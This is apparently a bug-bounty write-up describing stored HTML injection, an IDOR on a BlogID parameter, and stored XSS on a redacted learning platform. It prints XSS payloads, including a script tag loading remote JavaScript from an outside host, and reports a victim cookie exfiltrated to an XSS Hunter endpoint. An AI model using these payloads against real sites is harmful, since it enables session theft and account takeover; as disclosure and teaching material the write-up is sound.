XSS Meets IDOR: A Double Vulnerability Story on a Learning Platform 🔥
📌 Special thanks to — my dedicated learning partner — for collaborating on this research and finding.
This write-up has been prepared under the guidance of Amish Patel, Lay Patel at Hacker4Help as part of our learning initiative on cybersecurity awareness.
Introduction 🔍
In this write-up, I’ll walk you through the discovery of two critical vulnerabilities on a popular educational site:
- A Stored Cross-Site Scripting (XSS) vulnerability via unsanitized user input.
- An Insecure Direct Object Reference (IDOR) that exposes private blog content.
- An Stored HTML Injection in Username.
🐞 Vulnerability #1: Stored HTML in Display Name
During the account creation process on [redacted].com, I began exploring how the platform handles user input in the full name (username) field.
Initially, the frontend validation prevented me from entering any special characters or HTML tags.
However, being curious (and persistent), I opened up Burp Suite to intercept the registration request and manually modified the payload to include raw HTML:
The Payload 🧪:
<h1>Holaaaa</h1>
I then forwarded the request to the server — and surprisingly, it worked.
The account was successfully created with the display name: <h1>holaa</h1>
ANDDD THE RESPONSE:
The resulting profile ⚠️ was now located at:
https://www.redacted.com/members/<h1>holaa</h1>
⚠️ Why This Matters
Although visiting the profile page returned a 404 Not Found
(likely due to the special characters breaking routing logic), the more critical issue is:
- The unsanitized HTML was stored in the backend
- It could later be rendered elsewhere on the platform, triggering a Stored XSS
🎯 Real-World Impact
If this display name appears anywhere else — such as:
- On blog posts
- In comment sections
- Inside an admin dashboard.
🐞 Vulnerability #2: Insecure Direct Object Reference (IDOR) in ID Parameter
While exploring other features on [redacted].com, I stumbled upon a seemingly harmless endpoint used to share blog articles with a friend:
<https://www.redacted.com/Articles/EmailToFriend.aspx?BlogID=96226>
Out of curiosity, I changed the numeric BlogID
to a different value — and what happened next was unexpected (and dangerous).
🧪 The Flow
While exploring the blog system on [redacted].com, I created a test blog that contained a set of XSS payloads. After publishing it, I noticed a familiar set of three dots (⋮) on the blog post — a dropdown menu offering several options, including:
“Email Blog to a Friend”
Curious, I clicked on it. It redirected me to:
<https://www.redacted.com/Articles/EmailToFriend.aspx?BlogID=96230>
And the Page was:
So, My Evil mind said:
All I did was change the BlogID parameter and that GAVE MEEEE:
📥 What I Saw
This page was pre-filled with email content meant to send a preview of my blog to someone:
Hello,
This email is sent to you by Het (hetworkshard@gmail.com).
Het has recommended you following Blog from Redacted
Blog:
Blog 1 - XSS
Description:
CHECK <img src='x' onerror=alert(1)/> ... <iframe srcdoc="...">
The payloads I had inserted into my blog description were rendered here, completely unfiltered.
🔓 What This Means
This is a clear case of IDOR (Insecure Direct Object Reference):
- No auth check was in place
- Blog drafts were referenced by a predictable ID (
BlogID
) - I could view other users’ blog data by simply modifying the parameter
Worse, if other users had XSS payloads, I could trigger their JavaScript and potentially:
- Leak author emails
- Trigger auto-send requests
- Deliver malicious content to recipients
🔥 Combined XSS + IDOR = 💀
In my case, this led to a successful Stored XSS trigger via the EmailToFriend.aspx
interface.
The iframe-based payload even contained an encoded JavaScript snippet pointing to a remote malicious JS file, which would be executed if rendered:
<img src='x' onerror=alert(1)/>
<iframe srcdoc="..."<https://js.rip/sdjsajkx".>..">
🐞 Vulnerability #3: Stored XSS Triggered in Blog’s History Preview
After successfully identifying XSS via the email feature and IDOR via blog IDs, I continued exploring the platform’s blog management UI — specifically those familiar three vertical dots (⋮) found on every blog post.
These dots offered multiple options like:
- Edit blog
- Email to friend
- View history
It was the “View History” option that revealed a hidden gem — or more accurately, a security nightmare.
📜 The Flow
I had already created a blog with malicious XSS payloads in the title and description, as part of my testing:
"><script src="<https://js.rip/sdjsajkx>"></script>
Out of curiosity, I clicked on:
⋮ → View History
The history section previewed all previous versions of my blog, including the version that contained the above payload.
⚠️ The Trigger
As soon as the history page loaded, the XSS payload inside the blog’s content executed automatically — right inside the browser.
But here’s the real kicker:
The request was sent silently to XSS Hunter:
<https://xsshunter.trufflesecurity.com/app/#/>
From there, I confirmed:
- The cookie was exfiltrated
- The origin was redacted.com
- The payload fired in a live, browser-rendered context
The Preview of captured Info: